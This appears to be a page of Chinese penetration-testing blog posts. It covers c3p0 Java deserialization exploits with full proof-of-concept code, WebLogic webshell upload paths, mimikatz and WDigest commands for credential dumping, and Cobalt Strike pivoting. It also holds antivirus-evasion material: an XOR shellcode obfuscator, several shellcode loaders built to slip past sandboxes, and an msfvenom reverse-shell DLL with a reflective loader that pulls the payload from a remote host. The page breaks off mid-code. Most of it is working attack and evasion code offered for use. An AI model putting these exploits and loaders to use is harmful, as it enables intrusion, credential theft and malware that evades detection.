moonflower 发布的文章

  • c3p0


    C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。c3p0是异步操作的,缓慢的JDBC操作通过帮助进程完成。扩展这些操作可以有效的提升性能。目前使用它的开源项目有hibernate,spring等。是一个成熟的、高并发的JDBC连接池库,用于缓存和重用PreparedStatements支持。c3p0具有自动回收空闲连接功能。
  • http base


    触发点是 PoolBackedDataSourceBase 中的 readObject 方法,在其中调用了 getObject 方法
    image-20220418093523078
    跟进 getObject,其中又调用了 referenceToObject 方法(之前也是有 lookup,但 contextName 不可控,所以这里不能 jndi 注入)
    image-20220418093903696
    继续跟进 referenceToObject 方法,发现这里可以直接远程加载 class,对应的参数是 Reference 中的 classFactory classFactoryLocation 属性,最后从 classFactoryLocation 中加载 classFactory 类
    image-20220418094038188
    看一下 poc 是怎么写的:
    package moonflower.reflection.c3p0;
    
    import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
    
    import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
    import com.mchange.v2.naming.ReferenceIndirector;
    
    import javax.naming.Name;
    import javax.naming.NamingException;
    import javax.naming.Reference;
    import javax.naming.Referenceable;
    import javax.sql.ConnectionPoolDataSource;
    import javax.sql.PooledConnection;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.rmi.Naming;
    import java.sql.SQLException;
    import java.sql.SQLFeatureNotSupportedException;
    import java.util.logging.Logger;
    
    public class c3p0SerDemo {
        public static void main(String[] args) throws Exception{
            PoolBackedDataSourceBase a = new PoolBackedDataSourceBase(false);
            Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
            Field f1 = clazz.getDeclaredField("connectionPoolDataSource"); //此类是PoolBackedDataSourceBase抽象类的实现
            f1.setAccessible(true);
            f1.set(a,new evil());
    
            ObjectOutputStream ser = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
            ser.writeObject(a);
            ser.close();
            ObjectInputStream unser = new ObjectInputStream(new FileInputStream("a.bin"));
            unser.readObject();
            unser.close();
        }
    
        public static class evil implements ConnectionPoolDataSource, Referenceable {
            public PrintWriter getLogWriter () throws SQLException {return null;}
            public void setLogWriter ( PrintWriter out ) throws SQLException {}
            public void setLoginTimeout ( int seconds ) throws SQLException {}
            public int getLoginTimeout () throws SQLException {return 0;}
            public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
            public PooledConnection getPooledConnection () throws SQLException {return null;}
            public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
    
            @Override
            public Reference getReference() throws NamingException {
                return new Reference("evilexp","evilexp","http://127.0.0.1:10099/");
            }
        }
    }
    

    evilexp.java:(注意不要有包名!)
    public class evilexp {
        public evilexp() throws Exception{
            Runtime.getRuntime().exec("calc");
        }
    }
    

    看一下如何修改 classFactory classFactoryLocation 的值。PoolBackedDataSourceBase 中的 writeObject,首先尝试序列化当前对象的 connectionPoolDataSource 属性,如果不能序列化便会进入 catch 部分,在 catch 中用 ReferenceIndirector.indirectForm 处理后再进行序列化。
    image-20220418091546679
    跟进 indirectForm,此方法会调用传入参数的 getReference 方法,用返回的结果实例化一个 ReferenceSerialized对象,然后返回这个对象,在这个过程中,传入的 object 也就是 reference 对象是我们构造的触发反序列化的对象。
    image-20220418091705259
    getReference 在 poc 中声明:
    image-20220418111815732
    对应到 Reference 类中,完成赋值
    image-20220418112126678
  • JNDI 注入


    在 fastjson 或 jackson 的环境下利用,要求 jdk8u191 一下的版本(在jdk8u191 后添加了 trustCodebaseURL 的限制,无法加载远程 codebase 的字节码)
    image-20220418113203965
    poc:(以 jackson 为例)
    用到的工具:https://github.com/welk1n/JNDI-Injection-Exploit/
    import com.fasterxml.jackson.databind.ObjectMapper;
    
    import java.io.*;
    
    class Person {
        public Object object;
    }
    
    public class TemplatePoc {
        public static void main(String[] args) throws IOException {
            String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
            System.out.println(poc);
            ObjectMapper objectMapper = new ObjectMapper();
            objectMapper.enableDefaultTyping();
            objectMapper.readValue(poc, Person.class);
        }
    
        public static byte[] toByteArray(InputStream in) throws IOException {
            byte[] classBytes;
            classBytes = new byte[in.available()];
            in.read(classBytes);
            in.close();
            return classBytes;
        }
    
        public static String bytesToHexString(byte[] bArray, int length) {
            StringBuffer sb = new StringBuffer(length);
    
            for(int i = 0; i < length; ++i) {
                String sTemp = Integer.toHexString(255 & bArray[i]);
                if (sTemp.length() < 2) {
                    sb.append(0);
                }
                sb.append(sTemp.toUpperCase());
            }
            return sb.toString();
        }
    
    }
    

    image-20220418195455014
    顺着 poc 看一下漏洞触发点:com.mchange.v2.c3p0.JndiRefForwardingDataSource,传入的参数是 jndiName,首先调用 setJndiName 方法改变 jndiName 的值
    image-20220418200541519
    然后传入一个 LoginTimeout 属性,同样跟进对应的 setLoginTimeout 方法,
    image-20220418201943177
    跟进 JndiRefForwardingDataSource#inner ,在其中调用了 dereference 方法
    image-20220418202337419
    最后是在 dereference 中调用 lookup,参数是前面修改的 jndiName
    image-20220418202418154
  • HEX序列化字节加载器


    同样用于 fastjson 和 jackson 的环境,可以实现不出网回显。
    poc:(其中 go 方法生成了一个 cc2 的 payload)
    package moonflower.reflection.c3p0;
    
    import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Locale;
    import java.util.PriorityQueue;
    
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    import com.fasterxml.jackson.databind.ObjectMapper;
    
    public class c3p {
    
        public static void main(String[] args) throws Exception {
            PriorityQueue a = go();
            ObjectOutputStream ser0 = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
            ser0.writeObject(a);
            ser0.close();
    
            InputStream in = new FileInputStream("a.bin");
            byte[] data = toByteArray(in);
            in.close();
            String HexString = bytesToHexString(data, data.length);
            String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ HexString + ";\"}]}";
    
            System.out.println(poc);
            ObjectMapper objectMapper = new ObjectMapper();
            objectMapper.enableDefaultTyping();
            objectMapper.readValue(poc, Person.class);
        }
    
        public static PriorityQueue go() throws Exception {
    
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"calc.exe"})});
            TransformingComparator comparator = new TransformingComparator(chain);
            PriorityQueue queue = new PriorityQueue(1);
            queue.add(1);
            queue.add(2);
    
            Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
            field.setAccessible(true);
            field.set(queue, comparator);
    
            return queue;
        }
    
        public static byte[] toByteArray(InputStream in) throws IOException {
            byte[] classBytes;
            classBytes = new byte[in.available()];
            in.read(classBytes);
            in.close();
            return classBytes;
        }
    
        public static String bytesToHexString(byte[] bArray, int length) {
            StringBuilder sb = new StringBuilder(length);
    
            for (int i = 0; i < length; i++) {
                String sTemp = Integer.toHexString(255 & bArray[i]);
                if (sTemp.length() < 2) {
                    sb.append(0);
                }
    
                sb.append(sTemp.toUpperCase());
            }
            return sb.toString();
        }
    }
    

    image-20220418213827079
    首先传入 userOverridesAsString,跟进对应的 setUserOverridesAsString 方法:
    image-20220418214505795
    然后进入 WrapperConnectionPoolDataSource 的 setUpPropertyListeners 方法,在其中调用 parseUserOverridesAsString 方法解析对应的 value,也就是 payload 中的 HexAsciiSerializedMap 部分,
    image-20220418214954196
    接着提取内容,并进行格式转换,
    image-20220418215215826
    跟进 fromByteArray,最后在调用的 deserializeFromByteArray 方法中触发了反序列化。
    image-20220418215257487
    image-20220418215451147
  • 参考文献


    填的过程中发现好多东西值得单独拿出来写一篇了,于是就拖到现在还没写完:
  • 关于 weblogic 传马的问题


    网上其他师傅的思路:
    1.uddiexplorer
    /u01/domains/osb/servers/AdminServer/tmp/_WL_internal/uddiexplorer/随机字符/war/666.jsp
    

    靶机是 win2012,没找到这个路径
    image-20220307184248907
    2.bea_wls_internal
    C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\随机字符串\war
    

    可以,其实也是 weblogic 之前爆出的文件上传漏洞的上传路径
    image-20220307191807683
    3.CVE-2018-2894
    weblogic 后台文件上传,当知道密码或密码是弱口令的时候就能后台文件上传,有 shell 的时候也可以直接传到这个目录。
    C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css
    

    但没有洞的时候还是寄。。。
  • windows server 2012 抓不到密码的实际解决方案


    方案1:改注册表
    方案2:无需修改注册表获取密码的几种操作
    方案3:转储密码,然后本地爆破
    

    方案1,2之前写过 http://moonflower.fun/index.php/2022/03/01/291/,在此尝试一下。
    修改注册表:
    image-20220307211352756
    reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 
    

    image-20220307211741236
    SSP 注入
    mimikatz# privilege::debug (用 mimikatz 临时注入,重启后失效)
    mimiaktz# misc::memssp
    

    image-20220307213108152
    方案 3 待补充
  • 关于永恒之蓝的相关打法


    众所周知永恒之蓝如果 windows 版本(小版本)不对的话可能会直接蓝屏,而且即使版本正确如果是交互的 shell 也很容易打蓝屏,通常的手法是用 ms17_010_comman 执行单句命令(比如加一个 admin 用户,因为永恒之蓝拿到的 system 的权限)。但 ms17_010_comman 的执行也是有限制条件,如果没有执行 SMBUser 和 SMBPass 的时候可能会报错:
    image-20220314135459253
    尝试探测一下:
    image-20220314141956390
    github 上师傅的解释:
    image-20220314142806881
    分析到这里的时候意识到要去重新研究一下 Windows 命名管道(named access)的相关知识,详见命名管道那一篇。
    永恒之蓝具体的分析。。。现在不会以后再说。
  • 内网不出网主机上线 CS


    1.SMB beacon
    SMB Beacon 使用命名管道通过 父级Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB beacon 相对隐蔽。SMB beacon 不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
    新建一个 SMB Beacon,用已有的 administrator(域或者主机)通过 psexec 可以直接上线,而且是 system 权限。
    image-20220401203511834
    image-20220401203607459
    2.TCP beacon
    类似 msf 中的正向连接,新建一个 TCP beacon,并基于这个监听器生成对应的?,在受害机器上启动,然后用跳板机器主动连接。
    这里注意:对于不出网机器,生成?的选项是 Windows Executable(s),其中 s 的含义是 Stageless,对应的是 Stager,关于 Stager 原理的具体分析可以参考 msf ?分析那一篇。
    Stager 是分阶段加载和请求 payload,生成的?只有加载部分,而具体的 payload 是通过反射加载 beacon.dll 实现的,而这个 beacon.dll 实在远程的 C2 服务端,在不出网的情况下,难以获得这个 dll 文件,所以也就无法生成基于 TCP Beacon 的?。
    

    image-20220401204708051
    3.Reverse TCP Beacon
    通过中继上线,基于跳板机建立一个中继的 Listener
    image-20220401211218024
    然后基于这个监听器生成?,同样这里也要选择 Windows Executable(s) ,然后在目标机器中执行即可上线,拓扑图中为反向 tcp 连接。
    三种上线方式的拓扑图结构:
    image-20220401211707627
  • 非约束委派的不鸡肋打法


    见打印机漏洞分析。
  • 参考文献


学习了倾旋师傅的静态恶意代码逃逸,算是静态免杀的开始,项目地址:https://github.com/Rvn0xsy/BadCode

  • 简单的混淆


    利用 CS 生成 raw 格式的 payload(原生的 shellcode),然后通过混淆、加密来绕过检测。
    (直接用 raw 数组长度会爆,所以写了一个加密 c 语言 payload 的扩展。)
    import sys
    from argparse import ArgumentParser, FileType
    
    
    def process_bin(num, src_fp, dst_fp, dst_raw):
        shellcode = ''
        shellcode_size = 0
        shellcode_raw = b''
        try:
            while True:
                code = src_fp.read(1)
                if not code:
                    break
    
                base10 = ord(code) ^ num
                base10_str = chr(base10)
                shellcode_raw += base10_str.encode()
                code_hex = hex(base10)
                code_hex = code_hex.replace('0x', '')
                if (len(code_hex) == 1):
                    code_hex = '0' + code_hex
                shellcode += '\\x' + code_hex
                shellcode_size += 1
            src_fp.close()
            dst_raw.write(shellcode_raw)
            dst_raw.close()
            dst_fp.write(shellcode)
            dst_fp.close()
            return shellcode_size
        except Exception as e:
            sys.stderr.writelines(str(e))
    
    def process_c(num, src_fp, dst_fp, dst_raw):
        shellcode = ''
        shellcode_size = 0
        shellcode_raw = b''
        try:
            while True:
                code = src_fp.read()
                if not code:
                    break
                for i in range(0, len(code), 4):
                    char1 = chr((code[i + 2]))
                    char2 = chr((code[i + 3]))
                    s = int('0x' + char1 + char2, 16)
                    s = s ^ num
                    shellcode_raw += bytes(hex(s).encode())
                    code_hex = hex(s)
                    code_hex = code_hex.replace('0x', '')
                    if (len(code_hex) == 1):
                        code_hex = '0' + code_hex
                    shellcode += '\\x' + code_hex
                    shellcode_size += 1
                    print(shellcode)
            src_fp.close()
            dst_raw.write((shellcode_raw))
            dst_raw.close()
            dst_fp.write(shellcode)
            dst_fp.close()  
            return shellcode_size
    
        except Exception as e:
            sys.stderr.writelines(str(e))
    
    
    def main():
        parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs]')
    
        # python .\xor_shellcoder.py -s .\payload.bin  -d payload.c -n 10 -r out.bin
    
        parser.add_argument('-v', '--version', nargs='?')
        parser.add_argument('-s', '--src', help=u'source bin file', type=FileType('rb'), required=True)
        parser.add_argument('-d', '--dst', help=u'destination shellcode file', type=FileType('w+'), required=True)
        parser.add_argument('-n', '--num', help=u'Confused number', type=int, default=90)
        parser.add_argument('-r', '--raw', help=u'output bin file', type=FileType('wb'), required=True)
        args = parser.parse_args()
        process_c(args.num, args.src, args.dst, args.raw)
        # shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
        # sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))
    
    if __name__ == "__main__":
        main()
    
    

    生成 payload:
    python .\xor_shellcoder.py -s .\payload_x86.c -d payload.c -n 10 -r out.bin
    

     
  • 简单加载器


    shellcode 的加载器做的事就是开辟一段内存,并把 shellcode 加载到内存中并执行。
    属性设置 Debug + x86,Release 属性中关闭 SDL 检查,语言中符合模式设置为否。
    #include <Windows.h>
    
    // 入口函数
    int wmain(int argc,TCHAR * argv[]){
    
        int shellcode_size = 0; // shellcode长度
        DWORD dwThreadId; // 线程ID
        HANDLE hThread; // 线程句柄
    /* length: 800 bytes */
    
    unsigned char buf[] = "your_shellcode";
    
    
    // 获取shellcode大小
    shellcode_size = sizeof(buf);
    
    /* 增加异或代码 */
    for(int i = 0;i<shellcode_size; i++){
        buf[i] ^= 10;
    }
    /*
    VirtualAlloc(
        NULL, // 基址
        800,  // 大小
        MEM_COMMIT, // 内存页状态
        PAGE_EXECUTE_READWRITE // 可读可写可执行
        );
    */
    
    char * shellcode = (char *)VirtualAlloc(
        NULL,
        shellcode_size,
        MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
        );
        // 将shellcode复制到可执行的内存页中
    CopyMemory(shellcode,buf,shellcode_size);
    
    hThread = CreateThread(
        NULL, // 安全描述符
        NULL, // 栈的大小
        (LPTHREAD_START_ROUTINE)shellcode, // 函数
        NULL, // 参数
        NULL, // 线程标志
        &dwThreadId // 线程ID
        );
    
    WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
        return 0;
    }
    

    上线:
    image-20220225092731043
    还是被杀很多
    image-20220224084004134
     
  • 对加载器进行一些修改


    • 在 shellcode 读入时,申请一个普通的可读写内存页,然后通过 VirtualProtect 加上可执行权限。
    • 用 InterlockedXorRelease 函数代替 ^(异或)。
    • 加个 Sleep(等待几秒,兴许可以跳过某些沙盒呢?)

    #include <Windows.h>
    #include <stdio.h>
    
    // 入口函数
    int wmain(int argc, TCHAR* argv[])
    {
        int shellcode_size = 0;     // shellcode 长度
        DWORD dwThreadId;       // 线程 Id
        HANDLE hThread;     // 线程句柄
        DWORD dwOldProtect;     //内存页属性
    
        char buf[] = "your_shellcode";
    
        // 获取 shellcode 大小
        shellcode_size = sizeof(buf);
    
        /* 增加异或代码 */
        for (int i = 0; i < shellcode_size; i++) {
            Sleep(50);
            // buf[i] ^= 10;
            _InterlockedXor8(buf + i, 10);
        }
        /*
        VirtualAlloc(
            NULL,   // 基址
            800,    // 大小
            MEM_COMMIT, //内存页状态
            PAGE_EXECUTE_READWRITE  // 可读可写可执行
            );
        */
    
        char* shellcode = (char*)VirtualAlloc(
            NULL,
            shellcode_size,
            MEM_COMMIT,
            PAGE_READWRITE      // 只申请可写
        );
        //将 shellcode 复制到可执行的内存页中
        CopyMemory(shellcode, buf, shellcode_size);
    
        // 更改它的属性为可执行
        VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
    
        Sleep(2000);
    
        hThread = CreateThread(
            NULL,   // 安全描述符
            NULL,   // 栈的大小
            (LPTHREAD_START_ROUTINE)shellcode,  // 函数
            NULL,   // 参数
            NULL,   // 线程标志
            &dwThreadId // 线程ID
        );
        WaitForSingleObject(hThread, INFINITE); //一直等待线程执行结束
        return 0;
    }
    

    image-20220224090527379
  • 分离免杀


    管道:通过网络来完成进程间的通信,屏蔽了底层的网络协议细节,管道是一个公开的对象,所有进程都可以访问。
    CS 就使用了进程内通信的方法,在进程内部闯进啊命名管道并在进程内部调用,能够规避掉一些 AV/EDR 的查杀操作。
    image-20220225093047073
    主进程在进程内部创建了一个内部的命名管道,并将 shellcode 写入命名管道中(通过网络传输,做到 shellcode 不落地),然后创建一个命名管道的客户端,用于接收命名管道中的 shellcode,最后在该进程下创建一个子线程加载 shellcode,或者也可以将 shellcode 注入到其他进程中。
    BadCode-Pipe.cpp
    #include <Windows.h>
    #include <stdio.h>
    #include <intrin.h>
    
    #define BUFF_SIZE 1024
    
    PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");
    
    int wmain(int argc, TCHAR* argv[]) {
    
        HANDLE hPipe;
        DWORD dwError;
        CHAR szBuffer[BUFF_SIZE];
        DWORD dwLen;
        PCHAR pszShellcode = NULL;
        DWORD dwOldProtect; // 内存页属性
        HANDLE hThread;
        DWORD dwThreadId;
        // 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
        hPipe = CreateNamedPipe(
            ptsPipeName,
            PIPE_ACCESS_INBOUND,
            PIPE_TYPE_BYTE | PIPE_WAIT,
            PIPE_UNLIMITED_INSTANCES,
            BUFF_SIZE,
            BUFF_SIZE,
            0,
            NULL);
    
        if (hPipe == INVALID_HANDLE_VALUE) {
            dwError = GetLastError();
            printf("[-]Create Pipe Error : %d \n", dwError);
            return dwError;
        }
    
        if (ConnectNamedPipe(hPipe, NULL) > 0) {
            printf("[+]Client Connected...\n");
            ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
            printf("[+]Get DATA Length : %d \n", dwLen);
            // 申请内存页
            pszShellcode = (PCHAR)VirtualAlloc(NULL, dwLen, MEM_COMMIT, PAGE_READWRITE);
            // 拷贝内存
            CopyMemory(pszShellcode, szBuffer, dwLen);
    
            for (DWORD i = 0; i < dwLen; i++) {
                Sleep(50);
                _InterlockedXor8(pszShellcode + i, 10);
            }
    
            // 这里开始更改它的属性为可执行
            VirtualProtect(pszShellcode, dwLen, PAGE_EXECUTE, &dwOldProtect);
            // 执行Shellcode
            hThread = CreateThread(
                NULL, // 安全描述符
                NULL, // 栈的大小
                (LPTHREAD_START_ROUTINE)pszShellcode, // 函数
                NULL, // 参数
                NULL, // 线程标志
                &dwThreadId // 线程ID
            );
    
            WaitForSingleObject(hThread, INFINITE);
        }
    
        return 0;
    }
    

    BadCode-PipeClient.cpp
    #include <Windows.h>
    #include <stdio.h>
    #include <intrin.h>
    
    #define BUFF_SIZE 1024
    char buf[] = "your_shellcode";
    PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");
    
    BOOL RecvShellcode(VOID) {
        HANDLE hPipeClient;
        DWORD dwWritten;
        DWORD dwShellcodeSize = sizeof(buf);
        // 等待管道可用
        WaitNamedPipe(ptsPipeName, NMPWAIT_WAIT_FOREVER);
        // 连接管道
        hPipeClient = CreateFile(ptsPipeName, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    
        if (hPipeClient == INVALID_HANDLE_VALUE) {
            printf("[+]Can't Open Pipe , Error : %d \n", GetLastError());
            return FALSE;
        }
    
        WriteFile(hPipeClient, buf, dwShellcodeSize, &dwWritten, NULL);
        if (dwWritten == dwShellcodeSize) {
            CloseHandle(hPipeClient);
            printf("[+]Send Success ! Shellcode : %d Bytes\n", dwShellcodeSize);
            return TRUE;
        }
        CloseHandle(hPipeClient);
        return FALSE;
    }
    
    int wmain(int argc, TCHAR* argv[]) {
        
        RecvShellcode();
    
        return 0;
    }
    
    

    image-20220225124556511
    查杀情况:
    本地火绒没反应,cs 正常上线
    BadCode.Pipe:
    image-20220225124822820
    BadCode.PipeClient:(第一次 shellcode 没加密 29,加密后 15)
    image-20220225185518804
  • 使用 SOCKET 的分离免杀


    BadCode-Socket.cpp:
    #include <WinSock2.h>
    #include <Windows.h>
    #include <stdio.h>
    #include <intrin.h>
    
    #pragma comment(lib, "ws2_32.lib")
    
    BOOL RunCode(CHAR* code, DWORD dwCodeLen)
    {
        HANDLE hThread;
        DWORD dwOldProtect;
        DWORD dwThreadId;
        PCHAR pszShellcode = (PCHAR)VirtualAlloc(NULL, dwCodeLen, MEM_COMMIT, PAGE_READWRITE);
        CopyMemory(pszShellcode, code, dwCodeLen);
    
        for (DWORD i = 0; i < dwCodeLen; i++) {
            _InterlockedXor8(pszShellcode + i, 10);
        }
        // 这里开始更改它的属性为可执行
        VirtualProtect(pszShellcode, dwCodeLen, PAGE_EXECUTE, &dwOldProtect);
        // 执行 Shellcode
        hThread = CreateThread(
            NULL,   // 安全描述符
            NULL,   // 栈的大小
            (LPTHREAD_START_ROUTINE)pszShellcode,   // 函数
            NULL,   //参数
            NULL,   // 线程标志
            &dwThreadId // 线程 ID
        );
        WaitForSingleObject(hThread, INFINITE);
        return TRUE;
    }
    
    int wmain(int argc, TCHAR argv[]) {
        CHAR buf[801];
        DWORD dwError;
        WORD sockVersion = MAKEWORD(2, 2);
        WSADATA wsaData;
        SOCKET socks;
        SOCKET sClient;
        struct sockaddr_in s_client;
        INT nAddrLen = sizeof(s_client);
        SHORT sListenPort = 20888;
        struct sockaddr_in sin;
    
        if (WSAStartup(sockVersion, &wsaData) != 0)
        {
            dwError = GetLastError();
            printf("[*]WSAStarup Error : %d \n", dwError);
            return dwError;
        }
    
        socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
        if (socks == INVALID_SOCKET)
        {
            dwError = GetLastError();
            printf("[*]Socket Error : %d \n", dwError);
            return dwError;
        }
    
        sin.sin_family = AF_INET;
        sin.sin_port = htons(sListenPort);
        sin.sin_addr.S_un.S_addr = INADDR_ANY;
    
        if (bind(socks, (struct sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
        {
            dwError = GetLastError();
            printf("[*]Bind Error : %d \n", dwError);
            return dwError;
        }
    
        if (listen(socks, 5) == SOCKET_ERROR)
        {
            dwError = GetLastError();
            printf("[*]Listen  Error : %d \n", dwError);
            return dwError;
        }
    
        sClient = accept(socks, (SOCKADDR*)&s_client, &nAddrLen);
        int ret = recv(sClient, buf, sizeof(buf), 0);
        if (ret > 0)
        {
            printf("[+]Recv %d-Bytes \n", ret);
            closesocket(sClient);
            closesocket(socks);
        }
        WSACleanup();
        RunCode(buf, sizeof(buf));
        return 0;
    }
    

    BadCode-SocketClient.cpp
    #include <WinSock2.h>
    #include <Windows.h>
    #include <stdio.h>
    #include <intrin.h>
    
    #pragma comment(lib, "ws2_32.lib")
    char buf[] = "your_shellcode";
    
    int wmain(int argc, TCHAR argv[]) {
        DWORD dwError;
        WORD sockVersion = MAKEWORD(2, 2);
        WSADATA wsaData;
        SOCKET socks;
        SHORT sListenPort = 20888;
        struct sockaddr_in sin;
    
        if (WSAStartup(sockVersion, &wsaData) != 0)
        {
            dwError = GetLastError();
            printf("[*]WSAStarup Error : %d \n", dwError);
            return dwError;
        }
    
        socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
        if (socks == INVALID_SOCKET)
        {
            dwError = GetLastError();
            printf("[*]Socket Error : %d \n", dwError);
            return dwError;
        }
    
        sin.sin_family = AF_INET;
        sin.sin_port = htons(sListenPort);
        sin.sin_addr.S_un.S_addr = inet_addr("192.168.110.1");
    
        if (connect(socks, (struct sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
        {
            dwError = GetLastError();
            printf("[*]Bind Error : %d \n", dwError);
            return dwError;
        }
        int ret = send(socks, buf, sizeof(buf), 0);
    
        if (ret > 0)
        {
            printf("[+]Send %d-Bytes \n", ret);
            closesocket(socks);
        }
    
        WSACleanup();
        return 0;
    }
    

    image-20220225202636758
    查杀结果:
    本地火绒没报
    BadCode-Socket.exe:
    image-20220225203114755
    BadCode-SocketClient.exe:
    image-20220225203207802
  • 反射加载技术


    MemoryModule,将 Windows PE 格式通过自己写的代码进行解析,并把不同字节数据加载到内存中,当一个 Windows PE 格式的文件变成一个内存中的字符串,意味着这个文件可以被任意方式去转换、加密、混淆,从而实现免杀效果。
    MemoryModule 的使用方法:
    1.将要加载的PE文件读入内存
    2.初始化 MemoryModule 句柄
    3.装载内存
    4.获得导出地址函数
    5.执行导出函数
    6.释放 MemoryModule 句柄
    

    这里可以与 MSF 进行联动,通过 Socket 将 MSF 生成的 DLL 给接收到内存中,然后载入 MemoryModule 中,直接执行。
    image-20220227114525634
    生成 DLL:
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.72.134 LPORT=30888 -f dll -o ~/Desktop/attach_file/y.dll
    

    设置 MSF DLL 发射器?(反射器)
    handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.72.134 -P 30888
    use windows/multi/handler
    set payload windows/patchupdllinject/reverse_tcp
    set DLL /home/moonflower/Desktop/attack_file/y.dll
    set LHOST 192.168.72.134
    set LPORT 30887
    run -j
    

    连接 MSF 的客户端:
    #include <WinSock2.h>
    #include <Windows.h>
    #include <stdio.h>
    #include "MemoryModule.h"
    #pragma comment(lib,"ws2_32.lib")
    
    #define PAYLOAD_SIZE 1024*512
    typedef BOOL(*Module)(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved);
    
    typedef VOID(*msg)(VOID);
    PBYTE bFileBuffer = NULL;
    
    
    BOOL GetPEDLL() {
    
        DWORD dwError;
        WORD sockVersion = MAKEWORD(2, 2);
        WSADATA wsaData;
        SOCKET socks;
        SHORT sListenPort = 30888;
        struct sockaddr_in sin;
    
        if (WSAStartup(sockVersion, &wsaData) != 0)
        {
            dwError = GetLastError();
            printf("[*]WSAStarup Error : %d \n", dwError);
            return FALSE;
        }
    
        socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    
        if (socks == INVALID_SOCKET)
        {
            dwError = GetLastError();
            printf("[*]Socket Error : %d \n", dwError);
            return FALSE;
        }
    
        sin.sin_family = AF_INET;
        sin.sin_port = htons(sListenPort);
        sin.sin_addr.S_un.S_addr = inet_addr("192.168.72.134");
    
        if (connect(socks, (struct sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
        {
            dwError = GetLastError();
            printf("[*]Bind Error : %d \n", dwError);
            return FALSE;
        }
    
        int ret = 0;
        ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
        ret = recv(socks, (PCHAR)bFileBuffer, 2650, NULL);
        ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
        ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
        ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
    
        ZeroMemory(bFileBuffer, PAYLOAD_SIZE);
    
    
        ret = recv(socks, (PCHAR)bFileBuffer, 5120, NULL);
    
        if (ret > 0)
        {
            closesocket(socks);
        }
    
    
        return TRUE;
    }
    
    // 打开文件并获取大小
    DWORD OpenBadCodeDLL(HANDLE& hBadCodeDll, LPCWSTR lpwszBadCodeFileName) {
        DWORD dwHighFileSize = 0;
        DWORD dwLowFileSize = 0;
        // 打开文件
        hBadCodeDll = CreateFile(lpwszBadCodeFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hBadCodeDll == INVALID_HANDLE_VALUE) {
            return GetLastError();
        }
        dwLowFileSize = GetFileSize(hBadCodeDll, &dwHighFileSize);
        return dwLowFileSize;
    }
    
    
    int main()
    {
    
        HMEMORYMODULE hModule;
        Module DllMain;
        bFileBuffer = new BYTE[PAYLOAD_SIZE];
        GetPEDLL();
        // 导入PE文件
        hModule = MemoryLoadLibrary(bFileBuffer);
        // 如果加载失败,就退出
